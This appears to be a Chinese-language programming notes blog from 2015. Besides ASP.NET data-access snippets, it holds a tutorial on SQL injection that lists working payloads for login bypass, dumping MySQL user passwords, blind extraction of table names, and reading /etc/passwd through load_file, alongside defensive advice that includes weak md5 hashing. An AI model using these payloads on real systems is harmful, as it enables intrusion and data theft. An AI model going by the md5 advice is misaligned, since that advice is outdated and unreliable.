2015年11月26日 星期四

select 指令,可以查詢到二個不同資料庫中,各一個table的內容出來嗎?

https://social.technet.microsoft.com/Forums/zh-TW/3990d6ee-a25c-4be0-a6f5-79ae433a8373/select-table?forum=sqlservermanagementzhcht


可利用union all:
declare @cno char(6)
set @cno='CU0001'
select CNO,A01 as C01 from [甲].[dbo].[AA] where CNO=@cno
union all
select CNO,B01 as C01 from [乙].[dbo].[BB] where CNO=@cno


SQL Injection 常見的駭客攻擊方式








Sql Injection 應該可以說是目前網路上,駭客最常用的攻擊方式,因為攻擊方式簡單,又不需要使用任何軟體,或是自行撰寫程式。講到 SQL,就要提到資料庫,大多數的網站都會安裝資料庫伺服器(Database),其實 Database 並不是什麼可怕的東西,Database 的功能就是將資料依序儲存下來,然後以最快的速度,找出你想要的資料,而在尋找資料之前,你必須輸入 Database 指令,你輸入的這串指令,我們就稱為 SQL 語法。
Sql Injection 就是指 SQL 語法上的漏洞,藉由特殊字元,改變語法上的邏輯,駭客就能取得資料庫的所有內容,當然也包含了會員的帳號,密碼,下面就舉一個SQL登入漏洞:
一個有會員登入功能的網站,都會需要輸入帳號與密碼來進行驗證
而後端程式,如 PHP 就必需支援相關的登入檢查,判定 User 輸入的帳號、密碼是否正確,來確定登入是否成功 ,PHP 執行的 SQL 語法如下,這是一個簡單的 SQL 語法,主要功能是從 members 這個資料表中,取出符合 User 所輸入帳號與密碼的會員資料。
select * from members where account='$name' and password='$password'
但若是駭客輸入有特殊字元的帳號:「 ' or 1=1 /* 」,密碼:「任意值」
這時SQL語法就會變成:
select * from members where account='' or 1=1 /*' and password=''
因為「/*」在 MySQL 語法中代表註解的意思,所以「/*」後面的字串通通沒有執行,而這句判斷式「1=1」永遠成立,駭客就能登入此網站成功。

SQL 語法的註解

SQL 註解的語法有以下三種,不同的 SQL 版本,會吃不同的語法。
  • /*」 MySQL
  • --」 MsSQL
  • #」 MySQL , # 對於 browser 來說是有意義的,那是錨點的意思,所有必須先透過 Url Encode 後的代碼 「%23」 來代替。

防護方式

Sql Injection攻擊很簡單,不過防護也不難,只要過瀘字串「'」,即可,當然如果你的SQL語法寫得很糟,保險的做法是過瀘「' " 」等字串,並檢查變數型態「數字、字元、字串」,另外會員的密碼最好是經過加密,如 md5 或 Double md5 演算法加密,這樣就能避免資料外洩時,密碼也同時外洩,還有要特別注意,md5 目前已經有破解方式,改用 mcrypt 會是更好的加密方式。
PHP 過瀘 SQL Injection 的語法:
$name = preg_replace("/[\'\"]+/" , '' ,$name);
另一種過瀘方式
  1. $str = "'\"";
  2. $replace = array("'" => "'", "\"" => """);
  3. $str = strtr($str, $replace);
Sql Injection的攻擊方式會因不同的資料庫而有不同的語法, 如 MsSQL的註解是用 「--」MySQL的另一個註解是用 「#

SQL Injection 攻擊

取得 Table name

如果網站連接 database 使用的帳號,有權限讀取 INFORMATION_SCHEMA database,這樣就能直接搜尋任何一個 table 名稱,如
  • [Oracle]: or EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%xxx%') AND ''='
  • [MySQL]: or EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA like '%xxxx%') AND ''='
  • union select%20host,user,password fROM mysql.user limit 1,1#
  • union select engine, table_rows, table_name from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA not in ('information_schema') limit 1,1#
  • union select host,db,user from mysql.db limit 1,1 #
取得所有資料庫名稱
  • sqlInjection.php?id=1' union select distinct table_schema from information_schema.tables;
  • sqlInjection.php?id=1' union select group_concat(table_schema) from information_schema.tables;
取得所有資料表名稱
  • sqlInjection.php?id=1' union select group_concat(table_name) from information_schema.tables--
一般來說,information_schema 這個資料庫是沒有權限讀取的,尤其是市面上常見的虛擬主機,大部分的虛擬主機只能使用伺服器給的控制台來新增資料庫,沒辦法透過程式讀取所有的資料庫,這時駭客們會開始用猜的方式,來取得資料表的名稱,例如會員資料常會使用的 table 名稱為 users , members 等等。
猜測 table name 的 SQL Injection 如下,使用 or exists(select 1 from members);
  • sqlInjection.php?id=1' or exists(select 1 from members)/*
  • sqlInjection.php?id=1' or exists(select 1 from admin)%23
  • sqlInjection.php?id=1' or exists(select 1 from products)--

暴力猜測 Table Name

資料表的名稱不一定都是英文單字,有些工程師會使用怪怪的命名,這時駭客還是可以使用暴力破解的方式,將 Table Name 拼出來。
SQL 有個 function : substring ,這個功能可以對字串做切割,駭客可以先將「字串」切割成一個字元。
接著使用 ord 將字元轉成 Ascii Code ,然後去比對他的 Ascii Code 是否 = 32~ 127 , a = 97b = 98
看一個範例,我要比對 information_schema.tables 第一筆資料的第一個 table_name ,其中的第一個字元。
  • id=1' and 97=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
  • id=1' and 98=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
  • id=1' and 99=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--


再看一個範例,我要比對 information_schema.tables 第一筆資料的第一個 table_name ,其中的第二個字元。
  • id=1' and 97=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
  • id=1' and 98=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
  • id=1' and 99=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--

取得 MySQL 資料庫相關訊息

取得連線帳號 user()
  • sqlInjection.php?id=1' select 1,2,user()/*
取得 Mysql 版本 version()
  • sqlInjection.php?id=1' select 1,2,version()/*

讀取系統檔案內容

透過 mysql 的 method 「load_file」,駭客就能輕易取得網站的檔案內容。
  • union select 1,2,load_file('/etc/passwd')

使用 PDO 防止 SQL Injection

http://us3.php.net/manual/en/book.pdo.php
PDO 是一個可以 query 資料庫的程式,我們能夠透過 PDO 連到 Mysql server,重要的是 PDO 有提供 SQL Injection 的防護機制,使用 bindValue 的方式,PDO 會自動檢查數據格式,並轉換特殊字元,再將 User Input 填入 SQL 語法中。
PDO 使用方式
  1. $db = new PDO ("mysql:dbname=test;host=localhost;port=3306", '', 'username', 'password', array( PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES \'UTF8\'');
  2.  
  3. $sth = $db->prepare('select * from table where id =:id and title= :title ');
  4.  
  5. $sth->bindValue(':id', $_GET['id'], PDO::PARAM_INT);
  6.  
  7. $sth->bindValue(':title', $_GET['title'], PDO::PARAM_STR);
  8.  
  9. $sth->execute();
  10. $sth->fetch(PDO::FETCH_ASSOC);
  • PDO::PARAM_INT 數字
  • PDO::PARAM_STR 字串

相關教學下載



asp .net 使用function

ASPX中使用ASPX.VB的Function




asp .net 手動連線


SqlDataReader 類別


從 DataAdapter 填入 DataSet



使用 DataReader 擷取資料


SqlDataReader讀出資料寫入DataTable?


DataSet與DataAdapter,為何不需要自己寫程式去開啟資料庫連線與關閉之?


 如何使用 SqlDataAdapter (一)


如何取得SqlDataReader的所有筆數? 

如何判別有無這位會員?...DataReader的 HasRows屬性與 .Read()方法




******************************


VB.NET_DataSet與DataReader及其相關資料庫連結運用(一)



關於在.NET裡的DataSet經過幾天的使用,稍微有了一些簡單的心得,DataSet裡包含有許多DataTable,這些DataTable彼此還可以透過DataRelation物件來建立表格的關聯性,加上有別於以往的Recordset必須持續連線的狀態,DataSet採用離線運作的模式,不會影響到Database的負擔。


而其中各種不同的元件關係如下圖。



基本上的觀念先釐清就方便了。

'--------------------------------------分格線---------------------------------------'
'--------------------------------------連結法一-------------------------------------'
Imports System.Data.SqlClient
  Private cnn As New SqlConnection
  Private cmd As New SqlCommand
  Private dr As SqlDataReader
    cnn.ConnectionString = "Data Source=G_HISBKS;Initial Catalog=XXX;User ID=XXX"
    cnn.Open()

    cmd.Connection = cnn
    cmd.CommandText = "下SQL語法"
    dr = cmd.ExecuteReader    while dr.Read()
    txb_test.Text = dr("欄位名稱").ToString
    end while
    cmd.Dispose()
    cnn.Close()


'--------------------------------------分格線---------------------------------------'
'--------------------------------------連結法二-------------------------------------'
Imports System.Data.SqlClient
  Private cnn As New SqlConnection
  Private cmd As New SqlCommand

    cnn.ConnectionString = "Data Source=G_HISBKS;Initial Catalog=XXX;User ID=XXX"
    cnn.Open()

    cmd.Connection = cnn
    cmd.CommandText = "下SQL語法"
    cmd.ExecuteNonQuery()

    cmd.Dispose()
    cnn.Close()


'--------------------------------------分格線---------------------------------------'
'--------------------------------------連結法三-------------------------------------'
Imports System.Data.SqlClient
  Private cnn As New SqlConnection
  Private cmd As New SqlCommand
  Private dt As New DataTable
  Private dr As SqlDataReader
    cnn.ConnectionString = "Data Source=G_HISBKS;Initial Catalog=XXX;User ID=XXX"
    cnn.Open()

    cmd.Connection = cnn
    cmd.CommandText = "下SQL語法"
    dr = cmd.ExecuteReader    dt.Load(dr)
    obj_DataGridView.DataSource = dt
    cmd.Dispose()
    cnn.Close()


'--------------------------------------分格線---------------------------------------'
'--------------------------------------連結法四-------------------------------------'
Imports System.Data.SqlClient
  Private cnn As New SqlConnection
  Private cmd As New SqlCommand
  Private da As New SqlDataAdapter
  Private ds As New DataSet
    cnn.ConnectionString = "Data Source=G_HISBKS;Initial Catalog=XXX;User ID=XXX"
    cnn.Open()

    cmd.Connection = cnn
    cmd.CommandText = "下SQL語法"
    da.SelectCommand = cmd
    ds.Clear()
    da.Fill(ds, "自設表單名")    dt.Load(dr)
    obj_DataGridView.DataSource = ds
    obj_DataGridView.DataMember = "自設表單名"

    進行各種ds運用    

    cmd.Dispose()
    cnn.Close()


'--------------------------------------分格線---------------------------------------'
'--------------------------------------連結法五-------------------------------------'
Imports System.Data.SqlClient
  Private cnn As New SqlConnection
  Private cmd As New SqlCommand
  Private da As New SqlDataAdapter
  Private ds As New DataSet
    cnn.ConnectionString = "Data Source=G_HISBKS;Initial Catalog=XXX;User ID=XXX"
    cnn.Open()

    cmd.Connection = cnn
    cmd.CommandText = "下SQL語法"
    da.SelectCommand = cmd
    ds.Clear()
    da.Fill(ds, "自設表單名")    dt.Load(dr)
    obj_DataGridView.DataSource = ds
    obj_DataGridView.DataMember = "自設表單名"

    進行各種ds運用    

    cmd.Dispose()
    cnn.Close()


連結的方式多種,而取值也各有不同表示法

'-----------------------取值法一-----------------------------------------------------
'------------------------------------------------------------------------------------
  cmd.CommandText = "select top 流水號 count from hn_news order by counter desc"
  obj_txtBox.Text = cmd.ExecuteScalar.ToString

'單獨取得第一資料行的第一列值


'-----------------------取值法二-----------------------------------------------------
'------------------------------------------------------------------------------------
  cmd.CommandText = "select * from hn_news order by counter desc"
  dr = cmd.ExecuteReader
  dr.Read()   '讀一列
  obj_txtBox.Text = dr("欄位名稱").ToString

'單筆資料行的值,再依欄位名去抓取各欄位值


'-----------------------取值法三-----------------------------------------------------
'------------------------------------------------------------------------------------
  cmd.CommandText = "select * from hn_news order by counter desc"
  da.SelectCommand = cmd '使用SqlDataAdapter的SelectCommand
  ds.Clear()
  da.Fill(ds, "tab1") '將SqlDataAdapter
  obj_DataGridView.DataSource = ds
  obj_DataGridView.DataMember = "自設表單名"

  If MyDs.Tables(0).Columns.Count > 0 Then
    obj_txtBox.Text1 = ds.Tables(0).Columns(1).ColumnName
    obj_txtBox.Text2 = ds.Tables(0).Rows(0).Item("有效期限").ToString
    obj_txtBox.Text3 = ds.Tables(0).Rows(0).Item("驗收人代號").ToString
  End If


    關於取值法三中
    ds.Tables(0).Columns(1).ColumnName '表示取得table的欄位名稱,上圖中紅框區
    此處中Tables(0)可寫成Tables("表單名"),Columns(1)可寫成Columns("欄位名")

    ds.Tables(0).Rows(0).Item("有效期限").ToString
    ds.Tables(0).Rows(0).Item("欄位名").ToString
    此處中Item("欄位名")可寫成Item(0) 'index
    如果寫ds.Tables(0).Rows(2).Item(4).ToString,表示是table(0)的第3行資料列 第5欄位的值

    MyDs.Tables(0).Columns.Count  '表示傳回的資料列數,用於判斷是否有傳回資料列
    
先暫存於此...

*****************************************************************




asp .net 陣列操作



https://msdn.microsoft.com/zh-tw/library/wak0wfyt.aspx

https://www.dotblogs.com.tw/miblkimo/archive/2013/04/09/101147.aspx

Dim message As String Dim myArray(2) As String myArray(0) = "Visual" myArray(1) = "Basic" myArray(2) = "ASP.NET" For Each msg In myArray message += msg + "," Next label1.Text = message





2015年11月25日 星期三

GridView 手動加入



https://www.dotblogs.com.tw/atowngit/archive/2010/08/12/17166.aspx


手寫GV
https://www.dotblogs.com.tw/topcat/archive/2009/02/23/7266.aspx

MS
https://msdn.microsoft.com/zh-tw/library/w3f99sx1(v=vs.110).aspx


Dim ODT As DataTable = New DataTable("Default")
        ODT.Columns.Add("porder", Type.GetType("System.DateTime"))
        ODT.Columns.Add("dormno", Type.GetType("System.String"))
        ODT.Columns.Add("addr", Type.GetType("System.String"))
        ODT.Rows.Add(DateTime.Now, "5000", "5000")
        Me.GridView3.DataSource = ODT
        Me.GridView3.DataBind()

[GridView] 手動塞值

https://www.dotblogs.com.tw/atowngit/archive/2010/08/12/17166.aspx

透過手寫程式了解GridView的運作






2015年11月24日 星期二

Listbox操作



左右搬移


        For Each li As ListItem In ListBox1.Items
            If li.Selected = True Then
                ListBox2.Items.Add(li)
            End If
        Next

        For i As Integer = ListBox1.Items.Count - 1 To 0 Step -1
            If ListBox1.Items(i).Selected = True Then
                ListBox1.Items.Remove(ListBox1.Items(i))
            End If
        Next

方法:
https://msdn.microsoft.com/zh-tw/library/system.web.ui.webcontrols.listbox(v=vs.110).aspx

REF:
http://163.20.173.56/tch/vb/VB_Small/0h07.htm
http://codex.wiki/question/1178530-4521
http://guessi.pixnet.net/blog/post/26215590-%5B%E7%A8%8B%E5%BC%8F%5D-%E8%87%AA%E8%A8%82listbox-items-(c%23)